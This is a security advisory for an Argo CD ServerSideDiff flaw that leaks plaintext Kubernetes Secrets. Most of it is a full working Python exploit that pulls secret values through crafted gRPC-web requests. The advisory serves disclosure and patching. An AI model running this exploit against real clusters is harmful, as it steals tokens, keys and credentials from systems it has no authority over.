Kubernetes Secret Extraction via ArgoCD ServerSideDiff

Critical **alexmt** published **GHSA-3v3m-wc6v-x4x3** yesterday

Package

github.com/argoproj/argo-cd/v3 (Go)

Affected versions

3.2.0 - 3.3.8

Patched versions

3.3.9, 3.2.11

Description

Summary

There is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism.

Details

Argo CD masks Secret data in every endpoint that returns Kubernetes resource state except one. All the other endpoints such as GetManifests, GetManifestsWithFiles, GetResource and PatchResource utilize hideSecretData() to mask the returned secret value. The vulnerable function ServerSideDiff gRPC/REST endpoint (/application.ApplicationService/ServerSideDiff) constructs its response with raw, unmasked PredictedLive and NormalizedLive states:

```
// server/application/application.go:3051-3062
responseDiffs = append(responseDiffs, &v1alpha1.ResourceDiff{
    TargetState:     string(diffRes.PredictedLive),
    LiveState:       string(diffRes.NormalizedLive),
})
```

A user only requires RBAC to call this ServerSideDiff function. Every authenticated Argo CD user has get access via the default role:catch-all policy. However, Argo CD has a defense layer called removeWebhookMutation() that normally strips non-Argo CD-managed fields from the Server Side Apply (SSA) dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking through the diff. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true.
When IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the defense is skipped entirely:

```
if o.ignoreMutationWebhook {
    predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser,
o.manager)
}
```

The raw Kubernetes SSA dry-run response which contains real Secret values read from etcd is then flown directly into the API response with no masking.

When ServerSideDiff is called, the handler invokes K8sServerSideDryRunner.Run(), which performs the equivalent of:

`kubectl apply --server-side --dry-run=server --field-manager=argocd-controller`
For extraction to succeed, the Secret's data fields must be owned by at least one non-Argo CD SSA field manager. When argocd-controller is the sole field manager for data, the SSA dry-run garbage-collects those fields (since the target manifest omits them). When a second manager exists (e.g., kube-controller-manager), that manager retains ownership and the real values survive in the response.

PoC

```
#!/usr/bin/env python3
"""
Argo CD ServerSideDiff Secret Extraction PoC

Usage:
    python3 poc.py <host> <token> <app> <project>

Example:
    python3 poc.py argocd.int.<customer>.com eyJhbG... my-app my-project
"""

import base64
import http.client
import json
import ssl
import struct
import sys
import urllib.parse
from collections import defaultdict
```

```
def encode_varint(v):
    out = []
    while v > 0x7f:
        out.append((v & 0x7f) | 0x80)
        v >>= 7
    out.append(v & 0x7f)
    return bytes(out)

def encode_str(field, val):
    tag = (field << 3) | 2
    raw = val.encode()
    return encode_varint(tag) + encode_varint(len(raw)) + raw

def encode_bytes(field, val):
    tag = (field << 3) | 2
    return encode_varint(tag) + encode_varint(len(val)) + val

def encode_bool(field, val):
    tag = (field << 3) | 0
    return encode_varint(tag) + encode_varint(1 if val else 0)

def decode_varint(data, pos):
    val, shift = 0, 0
    while pos < len(data):
        b = data[pos]; pos += 1
        val |= (b & 0x7f) << shift; shift += 7
        if not (b & 0x80):
            break
    return val, pos

def decode_fields(data):
    fields = defaultdict(list)
    pos = 0
    while pos < len(data):
        tag, pos = decode_varint(data, pos)
        wtype = tag & 0x07
        if wtype == 0:
            val, pos = decode_varint(data, pos)
            fields[tag >> 3].append(val)
        elif wtype == 2:
            length, pos = decode_varint(data, pos)
            fields[tag >> 3].append(data[pos:pos + length])
            pos += length
        elif wtype == 5:
            fields[tag >> 3].append(data[pos:pos + 4]); pos += 4
        elif wtype == 1:
            fields[tag >> 3].append(data[pos:pos + 8]); pos += 8
        else:
            break
    return dict(fields)


# -- grpc-web framing --

def grpc_frame(payload):
    return b"\x00" + struct.pack(">I", len(payload)) + payload
```

```
def decode_grpc_frames(data):
    frames, pos = [], 0
    while pos + 5 <= len(data):
        flag = data[pos]
        length = struct.unpack(">I", data[pos+1:pos+5])[0]
        pos += 5
        frames.append((flag, data[pos:pos+length]))
        pos += length
    return frames


# -- http helpers --

def make_conn(host):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    return http.client.HTTPSConnection(host, 443, context=ctx, timeout=10)

def rest_get(conn, path, token):
    conn.request("GET", path, headers={
        "Authorization": "Bearer " + token,
        "Accept": "application/json",
    })
    resp = conn.getresponse()
    body = resp.read()
    if resp.status != 200:
        return None, "HTTP %d" % resp.status
    return json.loads(body), None

def grpc_post(conn, token, payload):
    conn.request("POST", "/application.ApplicationService/ServerSideDiff",
        body=grpc_frame(payload), headers={
            "Content-Type": "application/grpc-web+proto",
            "Accept": "application/grpc-web+proto",
            "X-Grpc-Web": "1",
            "Authorization": "Bearer " + token,
        })
    resp = conn.getresponse()
    raw = resp.read()
    if resp.status != 200:
        return None, "HTTP %d" % resp.status
    frames = decode_grpc_frames(raw)
    for flag, fdata in frames:
        if flag == 0:
            return fdata, None
    return None, "no data frame in response"


# -- main --

def main():
    if len(sys.argv) != 5:
        print("Usage: python3 poc.py <host> <token> <app> <project>")
        sys.exit(1)
```

```
    host, token, app_name, project = sys.argv[1], sys.argv[2], sys.argv[3],
sys.argv[4]
    conn = make_conn(host)

    # step 1: list managed resources for the app, find secrets
    print("[*] Fetching managed resources for %s/%s ..." % (project, app_name))
    data, err = rest_get(conn, "/api/v1/applications/%s/managed-resources" %
urllib.parse.quote(app_name), token)
    if err:
        print("[-] Failed: %s" % err); sys.exit(1)

    secrets = []
    for r in data.get("items", []):
        if r.get("kind") != "Secret":
            continue
        name = r.get("name", "")
        ns = r.get("namespace", "")
        live = r.get("liveState", "")
        stype = "Opaque"
        if live and live != "null":
            try:
                stype = json.loads(live).get("type", "Opaque")
            except Exception:
                pass
        secrets.append((name, ns, stype, live))

    if not secrets:
        print("[-] No secrets found in managed resources"); sys.exit(0)
    print("[+] Found %d secrets" % len(secrets))

    # step 2: call ServerSideDiff for each secret
    total_extracted = 0
    for sname, sns, stype, live_json in secrets:
        # build minimal target manifest (no data field)
        target = {"apiVersion": "v1", "kind": "Secret",
                  "metadata": {"name": sname, "namespace": sns},
                  "type": stype}

        # copy required annotations from live state for SA tokens
        if live_json and live_json != "null":
            try:
                live_annots = json.loads(live_json).get("metadata",
{}).get("annotations", {})
                k8s_annots = {k: v for k, v in live_annots.items() if
k.startswith("kubernetes.io/")}
                if k8s_annots:
                    target["metadata"]["annotations"] = k8s_annots
            except Exception:
                pass

        # for TLS secrets, include required placeholder keys
        if stype == "kubernetes.io/tls":
            target["data"] = {
                "tls.crt": base64.b64encode(b"PLACEHOLDER").decode(),
                "tls.key": base64.b64encode(b"PLACEHOLDER").decode(),
```

```
            }
        elif stype == "kubernetes.io/dockerconfigjson":
            target["data"] = {".dockerconfigjson": base64.b64encode(b'{"auths":
{}}').decode()}

        # encode the grpc request
        lr = b""
        lr += encode_str(2, "Secret")       # kind
        lr += encode_str(3, sns)             # namespace
        lr += encode_str(4, sname)           # name
        if live_json:
            lr += encode_str(6, live_json)   # liveState
        lr += encode_bool(12, True)          # modified

        query = encode_str(1, app_name)
        query += encode_str(3, project)
        query += encode_bytes(4, lr)
        query += encode_str(5, json.dumps(target))

        # reconnect for each call (simple, no pool needed for poc)
        try:
            conn = make_conn(host)
            resp_data, err = grpc_post(conn, token, query)
        except Exception as e:
            print("  [!] %s/%s: %s" % (sns, sname, e))
            continue
        if err:
            print("  [!] %s/%s: %s" % (sns, sname, err))
            continue

        # parse response
        resp_fields = decode_fields(resp_data)
        for item_bytes in resp_fields.get(1, []):
            if not isinstance(item_bytes, bytes):
                continue
            ifields = decode_fields(item_bytes)

            # field 5 = targetState (predictedLive — has real values from etcd)
            for raw in ifields.get(5, []):
                if not isinstance(raw, bytes):
                    continue
                try:
                    obj = json.loads(raw)
                except Exception:
                    continue
                if obj.get("kind") != "Secret":
                    continue
                secret_data = obj.get("data", {})
                if not secret_data:
                    continue

                # check for real (non-masked) values
                real_keys = {}
                for k, v in secret_data.items():
                    if not v:
                        continue
```

```
                    if all(c == "+" for c in v):
                        continue  # masked by argocd
                    try:
                        decoded = base64.b64decode(v)
                        text = decoded.decode("utf-8", errors="replace")
                    except Exception:
                        continue
                    if all(c == "+" for c in text) and text:
                        continue  # masked (base64 of +++...)
                    real_keys[k] = text

                if real_keys:
                    total_extracted += 1
                    print("\n  [***] %s/%s  (%s)" % (sns, sname, stype))
                    print("        %d/%d keys extracted:" % (len(real_keys),
len(secret_data)))
                    for k in sorted(real_keys):
                        v = real_keys[k].replace("\n", "\\n")
                        if len(v) > 120:
                            v = v[:120] + "..."
                        print("          %s: %s" % (k, v))

    print("\n[*] Done. %d secrets with real values extracted." % total_extracted)

if __name__ == "__main__":
    main()
```

Impact

Any user with Argo CD application get permissions can extract real Kubernetes Secret values including service account tokens, TLS certificates, database credentials, and API keys. On Applications where IncludeMutationWebhook=true is already set, exploitation requires only read-only Argo CD access.

Severity

Critical 9.6 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Changed
Confidentiality	High
Integrity	High
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

CVE ID

No known CVE

Weaknesses

- CWE-200
- CWE-212

Credits

hoang-prod Reporter